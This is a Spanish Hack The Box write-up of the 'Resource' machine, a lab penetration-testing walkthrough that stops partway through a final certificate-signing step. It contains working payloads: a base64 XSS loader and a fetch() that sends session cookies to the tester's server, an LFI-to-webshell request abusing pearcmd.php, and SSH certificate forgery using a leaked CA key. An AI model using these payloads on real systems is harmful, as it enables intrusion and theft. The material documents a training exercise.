Hack The Box: Resource Writeup | Hard

Table of Contents

Hack The Box: Resource Writeup

Welcome to my detailed writeup of the hard difficulty machine “Resource” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.197.255 --ulimit 5000 -g                                     
210.129.197.255 -> [22,80,2222]
 1$ nmap -p22,80,2222 -sCV 10.129.197.255 -oN allPorts                              
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 19:18 CEST                       
 3Nmap scan report for 10.129.197.255                                                       
 4Host is up (0.036s latency).                                                              
 5                                                                    
 6PORT     STATE SERVICE VERSION                                                            
 722/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)                      
 8| ssh-hostkey:                                                                                                  
 9|   256 78:1e:3b:85:12:64:a1:f6:df:52:41:ad:8f:52:97:c0 (ECDSA)                                                                                               
10|_  256 e1:1a:b5:0e:87:a4:a1:81:69:94:9d:d4:d4:a3:8a:f9 (ED25519)                                               
1180/tcp   open  http    nginx 1.18.0 (Ubuntu)                                                                    
12|_http-title: Did not follow redirect to http://itrc.ssg.htb/                                                   
13|_http-server-header: nginx/1.18.0 (Ubuntu)                                    
142222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)                                                    
15| ssh-hostkey:                                                                                                                          
16|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)                                                                         
17|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)                                                                                             
18Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel                                                                                                       
19
20Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .                                                                
21Nmap done: 1 IP address (1 host up) scanned in 11.50 seconds  

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -n -Pn --min-rate 5000 -sU 10.129.197.255 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-10 19:19 CEST
 3Nmap scan report for 10.129.197.255
 4Host is up (0.040s latency).
 5Not shown: 1494 open|filtered udp ports (no-response)
 6PORT      STATE  SERVICE
 716545/udp closed unknown
 817549/udp closed unknown
 920309/udp closed unknown
1027027/udp closed unknown
1127666/udp closed unknown
1231625/udp closed unknown
13
14Nmap done: 1 IP address (1 host up) scanned in 0.82 seconds

Del escaneo inicial encontramos el dominio itrc.ssg.htb, lo añadimos al /etc/hosts

Una cosa interesante es que encontramos dos instancias de SSH con dos versiones de OpenSSH distintas, una indica ser Debian y otra indica ser Ubuntu por lo cual es un indicador de que existen contenedores por detrás.

Igualmente ninguna de estas instancias son vulnerables así que el punto de entrada debe de ser mediante el sitio web.

HTTP Enumeration

whatweb no nos reporta nada relevante, únicamente que se está utilizando PHP y nginx por detrás.

1$ whatweb http://itrc.ssg.htb
2http://itrc.ssg.htb [200 OK] Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.129.197.255], PHP[8.1.29], Script, Title[IT Support Center], X-Powered-By[PHP/8.1.29], nginx[1.18.0]

Así se ve el sitio web. Write-up Image

Podemos crearnos una cuenta de usuario y parece que es un sistema de ticketing. Write-up Image

Multiple XSS (Failed)

Podemos crear un ticket y podemos comprobar que en los comentarios del ticket no se acontece un XSS. Write-up Image

Tampoco en el nombre del ticket ni en la descripción. Write-up Image

Tampoco en el nombre de usuario. Write-up Image

Podemos subir un archivo y el nombre del archivo son una secuencia de caracteres y números. Write-up Image

Al interceptar las solicitudes con burpsuite encontramos un endpoint /api/ Write-up Image

Fuzzing

Con feroxbuster podemos fuzzear a ver si encontramos algún recurso bajo /api

1$ feroxbuster -u http://itrc.ssg.htb/api/ -w /opt/SecLists/Discovery/Web-Content/d
2irectory-list-2.3-medium.txt -d 1 -t 100 -x php

Y vemos un admin.php, pero devuelve un error 500. Write-up Image

Write-up Image

También vemos un login.php y un register.php y recordemos que la URL para iniciar sesión es http://itrc.ssg.htb/?page=login por lo cual quizás internamente esté apuntando a este recurso.

Podemos acceder al “panel administrativo” utilizando el parámetro page Write-up Image

Podemos utilizar la función de “ping” y vemos que nos llega un ping de la máquina víctima. Write-up Image

1$ sudo tcpdump icmp -i tun0
2tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
3listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
419:46:18.895801 IP ssg.htb > 10.10.14.143: ICMP echo request, id 1, seq 1, length 64
519:46:18.895846 IP 10.10.14.143 > ssg.htb: ICMP echo reply, id 1, seq 1, length 64

No podemos acceder a tickets de otras personas.

Detectamos un usuario llamado zzinter Write-up Image

IDOR

Podemos crear un comentario en un post de otras personas, si interceptamos la petición al crear un comentario vemos que hace una solicitud POST a /api/create_comment.php donde hay un campo id, podemos modificarlo y la petición será satisfactoria.

Para comprobar esto, he creado un ticket como el usuario test Write-up Image

Ahora podemos cambiar el ID. Write-up Image

Y vemos que efectivamente, podemos inyectar comentarios en los tickets de los demás. Write-up Image

También podemos insertar archivos en los tickets de los demás. Write-up Image

Como el nombre del archivo sale en pantalla, podemos intentar realizar un XSS aquí.

Después de probar algunos payloads y a base de prueba y error, este funcionó. Write-up Image

Write-up Image

Detecté que se filtra el carácter /, por lo cual podemos hacer un payload para cargar un script que controlemos nosotros utilizando eval y atob.

El payload es el siguiente.

1filename=<svg onload=eval(atob('dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpOwpzY3JpcHQuc3JjID0gJ2h0dHA6Ly8xMC4xMC4xNC4xNDM6ODA4Mi9lLmpzJzsKZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOwo=')) >.zip

Que en esencia es este snippet de código javascript que crea un elemento script, añade el src para que sea nuestro servidor y lo añade al DOM.

1var script = document.createElement('script');
2script.src = 'http://10.10.14.143:8082/e.js';
3document.head.appendChild(script);

Write-up Image

Si recargamos la página vemos que nos llega la solicitud.

1$ python3 -m http.server 8082
2Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
310.10.14.143 - - [10/Sep/2024 20:28:39] code 404, message File not found
410.10.14.143 - - [10/Sep/2024 20:28:39] "GET /e.js HTTP/1.1" 404 -

Ahora creamos un archivo e.js que nos envíe la cookie del usuario.

1fetch("http://10.10.14.143:8082/?cookies="+btoa(document.cookie))

Y si ahora recargamos la página.

1$ python3 -m http.server 8082
2Serving HTTP on 0.0.0.0 port 8082 (http://0.0.0.0:8082/) ...
310.10.14.143 - - [10/Sep/2024 20:29:31] "GET /e.js HTTP/1.1" 200 -
410.10.14.143 - - [10/Sep/2024 20:29:32] "GET /?cookies=UEhQU0VTU0lEPWQ3Yzk3Yzg3MmEwNDQ0NjhiNDA1ZjZiN2I0MGExMmMy HTTP/1.1" 200 -

Y ya tenemos la cookie de mi usuario.

1$ echo "UEhQU0VTU0lEPWQ3Yzk3Yzg3MmEwNDQ0NjhiNDA1ZjZiN2I0MGExMmMy" | base64 -d
2PHPSESSID=d7c97c872a044468b405f6b7b40a12c2

Ahora vamos a intentar quitar la cookie a algún otro usuario de los tickets encontrados en el panel de administración.

Cuando intentamos asignar el comentario a un ID que no existe vemos un error SQL. Write-up Image

Después de un rato esperando, no conseguí robar las cookies de sesión por lo que quiero pensar que no hay nadie revisando los tickets.

LFI + pearcmd.php + URL args -> Foothold

Después de un rato encontré este apartado en HackTricks Write-up Image

Podemos probar a hacer una petición con los parámetros para intentar crear un archivo con contenido PHP a través de un lolbin en PHP llamado pearcmd.php. Como dato, esta configuración está habilitada por defecto en PHP de contenedores Docker, por lo cual si se tiene un LFI probablemente se pueda explotar esto. Write-up Image

Y efectivamente, se ha creado el archivo en /tmp/hello.php, no hay que incluir el .php al final ya que por detrás a nivel de código se incluye. Write-up Image

Utilizando este payload /index.php?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=shell_exec($_GET["cmd"])?>+/tmp/s.php conseguimos ejecución remota de comandos.

Write-up Image

Write-up Image

Nos ponemos en escucha con pwncat-cs por el puerto 443 y nos enviamos la reverse shell con el típico one-liner. Write-up Image

1$ sudo pwncat-cs -lp 443
2[22:21:06] Welcome to pwncat 🐈!          
3[22:21:37] received connection from 10.129.197.255:45402                        bind.py:84
4[22:21:39] 10.129.197.255:45402: registered new host w/ db                  manager.py:957
5(local) pwncat$                                                                           
6(remote) www-data@itrc:/var/www/itrc$ whoami
7www-data

Comprobamos que estamos en un contenedor.

1(remote) www-data@itrc:/var/www/itrc$ hostname -I
2172.223.0.3

Docker Breakout

Encontramos credenciales para la base de datos.

 1(remote) www-data@itrc:/var/www/itrc$ cat db.php 
 2<?php
 3
 4$dsn = "mysql:host=db;dbname=resourcecenter;";
 5$dbusername = "jj";
 6$dbpassword = "ugEG5rR5SG8uPd";
 7$pdo = new PDO($dsn, $dbusername, $dbpassword);
 8
 9try {
10    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
11} catch (PDOException $e) {
12    die("Connection failed: " . $e->getMessage());

Podemos acceder a la base de datos.

 1(remote) www-data@itrc:/var/www/itrc$ mysql -ujj -pugEG5rR5SG8uPd -h db
 2Welcome to the MariaDB monitor.  Commands end with ; or \g.
 3Your MariaDB connection id is 510
 4Server version: 11.4.3-MariaDB-ubu2404 mariadb.org binary distribution
 5
 6Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
 7
 8Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 9
10MariaDB [(none)]> 

Examinando la base de datos, vemos que hay una llamada resourcecenter, dentro existen 3 tablas.

1+--------------------------+
2| Tables_in_resourcecenter |
3+--------------------------+
4| messages                 |
5| tickets                  |
6| users                    |
7+--------------------------+

También podemos ver los usuarios.

 1+----+---------------------------+--------------------------------------------------------------+-------+------------+
 2| id | user                      | password                                                     | role  | department |
 3+----+---------------------------+--------------------------------------------------------------+-------+------------+
 4|  1 | zzinter                   | $2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2 | admin | NULL       |
 5|  2 | msainristil               | $2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6 | admin | NULL       |
 6|  3 | mgraham                   | $2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2 | user  | NULL       |
 7|  4 | kgrant                    | $2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm | user  | NULL       |
 8|  5 | bmcgregor                 | $2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq | user  | NULL       |
 9|  9 | pointed                   | $2y$10$LjZWC7mewCk6t0CpT/r/auSQmSLdrtscI8fAezkabgZE4w0mElGrG | user  | NULL       |
10| 10 | <script>alert(1)</script> | $2y$10$1Un9daXoQqLxqKjvwO9My.mHHIkiaOXs.vH4SzZqKB6.UAKjFaQlC | user  | NULL       |
11| 11 | test                      | $2y$10$Regdwcv68bsQS73fqZFn/uvq1Utk47Usiq2.sgxIMvfaKGnnmspFW | user  | NULL       |
12| 12 | test2                     | $2y$10$dLq2ESFeG/vl3bX9eEq0ludIFL45.D0PeACyRyYDIM.Eo1zlEiU/W | user  | NULL       |
13+----+---------------------------+--------------------------------------------------------------+-------+------------+

No pude crackear ningún hash pero ahora tenemos una bonita lista de usuarios.

1$ cat users.txt 
2bmcgregor
3kgrant
4mgraham
5msainristil
6zzinter

Encontramos un archivo adjunto, vamos a analizarlo. Write-up Image

Detecté tres archivos comprimidos interesantes. Me descargo los 3 usando la función download interna de pwncat-cs para analizarlos en mi equipo.

 1(local) pwncat$ download eb65074fe37671509f24d1652a44944be61e4360.zip
 2eb65074fe37671509f24d1652a44944be61e4360.zip ━━━━━━━━━━━ 100.0% • 275/275    • ? • 0:00:00
 3                                                                  bytes                   [22:31:38] downloaded 275.00B in 0.41 seconds                               download.py:71
 4(local) pwncat$ download e8c6575573384aeeab4d093cc99c7e5927614185.zip
 5e8c6575573384aeeab4d093cc99c7e5927614185.zip ━━━━━━━━━━━ 100.0% • 634/634    • ? • 0:00:00
 6                                                                  bytes                   [22:31:46] downloaded 634.00B in 0.27 seconds                               download.py:71
 7(local) pwncat$ download c2f4813259cc57fab36b311c5058cf031cb6eb51.zip
 8c2f4813259cc57fab36b311c5058cf031cb6eb51.zip ━━━━━━━ 100.0% • 1.2/1.2 • 55.5     • 0:00:00
 9                                                              MB        MB/s              
10[22:31:51] downloaded 1.16MiB in 0.49 seconds      

Uno de los archivos contiene un archivo .har

1$ unzip c2f4813259cc57fab36b311c5058cf031cb6eb51.zip                              
2Archive:  c2f4813259cc57fab36b311c5058cf031cb6eb51.zip                                    
3  inflating: itrc.ssg.htb.har 

Otro tiene una clave pública del usuario mgraham

1$ unzip e8c6575573384aeeab4d093cc99c7e5927614185.zip 
2Archive:  e8c6575573384aeeab4d093cc99c7e5927614185.zip
3  inflating: id_rsa.pub 

Y el otro .zip contiene otra clave pública pero esta vez de bmcgregor

1$ unzip eb65074fe37671509f24d1652a44944be61e4360.zip 
2Archive:  eb65074fe37671509f24d1652a44944be61e4360.zip
3  inflating: id_ed25519.pub

Como no puedo hacer nada con las claves públicas, vamos a analizar el archivo .har

Es un formato de archivo que utilizan varias herramientas de sesión HTTP para exportar los datos capturados. Básicamente, se trata de un objeto JSON con un conjunto específico de campos.

El problema es que es un archivo de 4000 lineas.

1$ cat itrc.ssg.htb.har | wc -l
24426

Filtrando por pass encontramos una credencial.

1$ cat itrc.ssg.htb.har | grep pass | less

Write-up Image

Con esta credencial podemos acceder a través de SSH a la máquina víctima.

 1$ sshpass -p '82yards2closeit' ssh msainristil@10.129.197.255
 2Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
 3
 4The programs included with the Debian GNU/Linux system are free software;
 5the exact distribution terms for each program are described in the
 6individual files in /usr/share/doc/*/copyright.
 7
 8Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
 9permitted by applicable law.
10msainristil@itrc:~$ id
11uid=1000(msainristil) gid=1000(msainristil) groups=1000(msainristil)

User Pivoting

Estamos en otro contenedor.

1msainristil@itrc:/home$ hostname -I
2172.223.0.3

Vemos el usuario zzinter

1msainristil@itrc:/home$ ls -la
2total 20
3drwxr-xr-x 1 root        root        4096 Aug 13 11:13 .
4drwxr-xr-x 1 root        root        4096 Aug 13 11:13 ..
5drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 msainristil
6drwx------ 1 zzinter     zzinter     4096 Sep 10 15:16 zzinter

Y esto es interesante, nos encontramos una clave privada pero de la CA.

1msainristil@itrc:~/decommission_old_ca$ ls -la
2total 20
3drwxr-xr-x 1 msainristil msainristil 4096 Jan 24  2024 .
4drwx------ 1 msainristil msainristil 4096 Aug 13 11:13 ..
5-rw------- 1 msainristil msainristil 2602 Jan 24  2024 ca-itrc
6-rw-r--r-- 1 msainristil msainristil  572 Jan 24  2024 ca-itrc.pub

Tener la clave privada de la CA es muy peligroso ya que podemos si se permite el acceso por SSH que hemos visto antes que sí mediante algunos mensajes de la base de datos, firmar un certificado con la clave de la CA como cualquier usuario y poder iniciar sesión como este.

Entonces podemos generarnos un par de claves y firmarlos con la clave privada de la entidad certificadora, que es la que tenemos.

 1$ ssh-keygen -t rsa -f pointed
 2Generating public/private rsa key pair.
 3Enter passphrase (empty for no passphrase): 
 4Enter same passphrase again: 
 5Your identification has been saved in pointed
 6Your public key has been saved in pointed.pub
 7The key fingerprint is:
 8SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0 pointedsec@parrot
 9The key's randomart image is:
10+---[RSA 3072]----+
11|     o+ o. o     |
12|     .++  o .    |
13|     o o..       |
14|      o..        |
15|  .  . oS  .     |
16|+o.+..+..oo      |
17|=.=oB ..+=+      |
18|.+ *.. +=+=.     |
19| .E..   +B..     |
20+----[SHA256]-----+
1$  ls
2pointed  pointed.pub

Nos vamos a copiar la clave privada de la CA.

1$ scp msainristil@10.129.197.255:/home/msainristil/decommission_old_ca/ca-itrc .
2msainristil@10.129.197.255's password: 
3ca-itrc                                                 100% 2602    33.7KB/s   00:00    

Le establecemos los permisos adecuados.

1$ chmod 600 ca-itrc

Ahora firmamos nuestra clave pública con la clave de la CA para el usuario zzinter

1 ssh-keygen -s ca-itrc -n zzinter -I zzinter-key pointed.pub 
2Signed user key pointed-cert.pub: id "zzinter-key" serial 0 for zzinter valid forever

Ahora esto nos genera una clave firmada con la clave de la CA, en mi caso con nombre pointed-cert.pub

Podemos analizar la clave y vemos que en Principals está el usuario que vamos a impersonar.

 1$ ssh-keygen -Lf pointed-cert.pub 
 2pointed-cert.pub:
 3        Type: ssh-rsa-cert-v01@openssh.com user certificate
 4        Public key: RSA-CERT SHA256:blvDbjxySkHARnbWjYq0m/wTl7qABo/8ZCMu4B+JiO0
 5        Signing CA: RSA SHA256:BFu3V/qG+Kyg33kg3b4R/hbArfZiJZRmddDeF2fUmgs (using rsa-sha2-512)
 6        Key ID: "zzinter-key"
 7        Serial: 0
 8        Valid: forever
 9        Principals: 
10                zzinter
11        Critical Options: (none)
12        Extensions: 
13                permit-X11-forwarding
14                permit-agent-forwarding
15                permit-port-forwarding
16                permit-pty
17                permit-user-rc

Y ahora podemos iniciar sesión como este usuario.

 1$ ssh -o CertificateFile=pointed-cert.pub -i pointed zzinter@ssg.htb
 2Enter passphrase for key 'pointed': 
 3Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
 4
 5The programs included with the Debian GNU/Linux system are free software;
 6the exact distribution terms for each program are described in the
 7individual files in /usr/share/doc/*/copyright.
 8
 9Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10permitted by applicable law.
11Last login: Tue Sep 10 19:15:03 2024 from 10.10.14.143
12zzinter@itrc:~$ id
13uid=1001(zzinter) gid=1001(zzinter) groups=1001(zzinter)

Pero bien, esto significa que la CA confía de cualquier clave pública firmada con su certificado, por lo cual podemos firmar mi clave pública para iniciar sesión como root en este contenedor.

Simplemente eliminamos la clave firmada anterior pointed-cert.pub

Ahora la firmamos otra vez pero para el usuario root

1$ ssh-keygen -s ca-itrc -n root -I root-key pointed.pub 
2Signed user key pointed-cert.pub: id "root-key" serial 0 for root valid forever

Y conseguimos escalar privilegios en este contenedor.

 1$ ssh -o CertificateFile=pointed-cert.pub -i pointed root@ssg.htb
 2Enter passphrase for key 'pointed': 
 3Linux itrc 5.15.0-117-generic #127-Ubuntu SMP Fri Jul 5 20:13:28 UTC 2024 x86_64
 4
 5The programs included with the Debian GNU/Linux system are free software;
 6the exact distribution terms for each program are described in the
 7individual files in /usr/share/doc/*/copyright.
 8
 9Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
10permitted by applicable law.
11Last login: Tue Sep 10 19:15:32 2024 from 10.10.14.143
12root@itrc:~# id
13uid=0(root) gid=0(root) groups=0(root)

En el directorio personal de zzinter podemos visualizar la flag del usuario.

1root@itrc:/home/zzinter# cat user.txt 
277b42234c05a219...

Docker Breakout 2

En este directorio encontramos un script llamado sign_key_api.sh

 1#!/bin/bash
 2
 3usage () {
 4    echo "Usage: $0 <public_key_file> <username> <principal>"
 5    exit 1
 6}
 7
 8if [ "$#" -ne 3 ]; then
 9    usage
10fi
11
12public_key_file="$1"
13username="$2"
14principal_str="$3"
15
16supported_principals="webserver,analytics,support,security"
17IFS=',' read -ra principal <<< "$principal_str"
18for word in "${principal[@]}"; do
19    if ! echo "$supported_principals" | grep -qw "$word"; then
20        echo "Error: '$word' is not a supported principal."
21        echo "Choose from:"
22        echo "    webserver - external web servers - webadmin user"
23        echo "    analytics - analytics team databases - analytics user"
24        echo "    support - IT support server - support user"
25        echo "    security - SOC servers - support user"
26        echo
27        usage
28    fi
29done
30
31if [ ! -f "$public_key_file" ]; then
32    echo "Error: Public key file '$public_key_file' not found."
33    usage
34fi
35
36public_key=$(cat $public_key_file)
37
38curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

Aprovechando este script, podemos firmar otra clave pero esta vez en la máquina víctima real para conseguir acceso como los usuarios webadmin, analytics y support

Podemos firmar nuestra clave privada pero ahora con otra clave de CA distinta, el problema es que esto al realizarse a través de la API, no podemos generar un certificado para root por ejemplo.

Generamos un certificado para el usuario support

 1root@itrc:/home/zzinter# ./sign_key_api.sh pointed.pub zzinter support                    
 2ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAg1nNPtPgZyUngd
 3sLPDGFpEYwbjc/Khxwwr1tw/XWErQkAAAADAQABAAABgQChF6mmqr3WE3aHoYIt3mpXAAo7w2qHWyRhcf0zHRUIwup
 4qy3gRmZg0TeO3xr5YDkr2WPuCjHMmqb3iMl9hteC+mYyEUrrs9tgMYUIqWB/Qn9TIM3JKo3XUUojcxMw8PgKiIIsTb
 5b7r0ysZ//D+yN/nWprlLGlsaRHVrvka8CWv08bT14NjFoyAXT2DKG+8DmoSqt6qDjQI/QpXm1LDadTqDKcBaTOcdHi
 6tyt17u+T01LDEUM8fsIjTJ81U3oECXnGwVhXPFVokxpZsRL/qkp9mx6uvG+W2h5CI309kxCUSZVcDnRBg9iOSPjb9P
 7xU74O7UtighO1RHCyxYsB5OvKAw0ExOOW4W89yMKEWfPDKEFbkI9nJO1NNgAyDR5olERSkS8T+pKwJeylHgWAs09Kg
 8juPHW+DJkJHATWqjHPDzQLfrBC1KoZ0CSZOSzqEJ433epdKaFsBgqrqNMXhaYBBaXlez75vDLcmQvfV+7mx6Ae8zHl
 9hQLnwEltm9/IZMcgUcAAAAAAAAAKwAAAAEAAAAHenppbnRlcgAAAAsAAAAHc3VwcG9ydAAAAABm12Re//////////8
10AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAA
11AAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwA
12AAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAA
13AALc3NoLWVkMjU1MTkAAABAH6BAtkWeLLTRybgKp9QdZv3ZeJAKQsKn+XtcIZmvhyYxeUE0w0NTyExY1IHrz+S6e92
14jDoSmWAnaqx1J1scrBA== pointedsec@parrot

Lo metemos en un archivo test

1$ cat test 
2ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgLrPuwGYaITA/DUuLKmz14vzZh9i/icjYGpqh9WgoFDkAAAADAQABAAABgQChF6mmqr3WE3aHoYIt3mpXAAo7w2qHWyRhcf0zHRUIwupqy3gRmZg0TeO3xr5YDkr2WPuCjHMmqb3iMl9hteC+mYyEUrrs9tgMYUIqWB/Qn9TIM3JKo3XUUojcxMw8PgKiIIsTbb7r0ysZ//D+yN/nWprlLGlsaRHVrvka8CWv08bT14NjFoyAXT2DKG+8DmoSqt6qDjQI/QpXm1LDadTqDKcBaTOcdHityt17u+T01LDEUM8fsIjTJ81U3oECXnGwVhXPFVokxpZsRL/qkp9mx6uvG+W2h5CI309kxCUSZVcDnRBg9iOSPjb9PxU74O7UtighO1RHCyxYsB5OvKAw0ExOOW4W89yMKEWfPDKEFbkI9nJO1NNgAyDR5olERSkS8T+pKwJeylHgWAs09KgjuPHW+DJkJHATWqjHPDzQLfrBC1KoZ0CSZOSzqEJ433epdKaFsBgqrqNMXhaYBBaXlez75vDLcmQvfV+7mx6Ae8zHlhQLnwEltm9/IZMcgUcAAAAAAAAAKAAAAAEAAAAHc3VwcG9ydAAAAAsAAAAHc3VwcG9ydAAAAABm12No//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABAgnHOGp89bHoBJs85JAdd+vyvHZNnKo517vnkD0YcSzLUXsHaHo/bDj4fLW0XBYY2VAXqWsSCVJsxeLWbq836DQ== pointedsec@parrot

Y ganamos acceso a la máquina víctima como support

 1$ ssh -o CertificateFile=test -i pointed support@ssg.htb -p 2222
 2Enter passphrase for key 'pointed': 
 3Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-117-generic x86_64)
 4
 5 * Documentation:  https://help.ubuntu.com
 6 * Management:     https://landscape.canonical.com
 7 * Support:        https://ubuntu.com/pro
 8
 9 System information as of Tue Sep 10 07:34:41 PM UTC 2024
10
11  System load:           0.0
12  Usage of /:            79.0% of 10.73GB
13  Memory usage:          14%
14  Swap usage:            0%
15  Processes:             246
16  Users logged in:       0
17  IPv4 address for eth0: 10.129.197.255
18  IPv6 address for eth0: dead:beef::250:56ff:fe94:c869
19
20
21Expanded Security Maintenance for Applications is not enabled.
22
230 updates can be applied immediately.
24
25Enable ESM Apps to receive additional future security updates.
26See https://ubuntu.com/esm or run: sudo pro status
27
28
29The list of available updates is more than a week old.
30To check for new updates run: sudo apt update
31Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
32
33
34Last login: Tue Sep 10 19:33:15 2024 from 10.10.14.143
35support@ssg:~$ id
36uid=1000(support) gid=1000(support) groups=1000(support)

Ahora si que estamos en la máquina víctima.

1support@ssg:~$ hostname -I
210.129.197.255 172.17.0.1 172.21.0.1 172.223.0.1 dead:beef::250:56ff:fe94:c869 

Un poco excesivo para una máquina de dificultad media.

User Pivoting

Pasando el linpeas encontramos lo siguiente.

1╔══════════╣ Unexpected in /opt (usually empty)                                                                                                               
2total 16                                                                                                                                                      
3drwxr-xr-x  3 root root    4096 Aug 13 13:19 .                                                                                                                
4drwxr-xr-x 19 root root    4096 Jul 24 11:54 ..                                                                                                               
5-rwxr-----  1 root zzinter 1378 Aug 13 13:19 sign_key.sh                                                                                                      
6drwx------  4 root root    4096 Feb  8  2024 signserv                                                                                                         
7                                                                      

Parece que ahí se encuentra la API para los certificados del puerto 8000 interno pero no podemos revisar el código fuente.

Otra cosa que podemos intentar es comprobar si realmente la API nos prohíbe firmar las claves hacia otros principals y ver si no es una limitación del script.

En la máquina víctima, ahora que hemos ganado acceso podemos comprobar los principals y vemos dos.

1support@ssg:/etc/ssh/auth_principals$ cat root 
2root_user
3support@ssg:/etc/ssh/auth_principals$ cat zzinter 
4zzinter_temp

Ahora podemos copiarnos el script que hemos encontrado anteriormente, el sign_key_api.sh a nuestra máquina.

Agregamos el subdominio signserv.ssg.htb al /etc/hosts

Y la última línea del script vamos a modificarla a esto.

1curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

Es decir, vamos a cambiar el campo principals y vamos a establecer el de zzinter que habíamos visto anteriormente. Write-up Image

Ahora intentamos firmar nuestra clave pública.

1$ ./sign.sh pointed.pub zzinter support
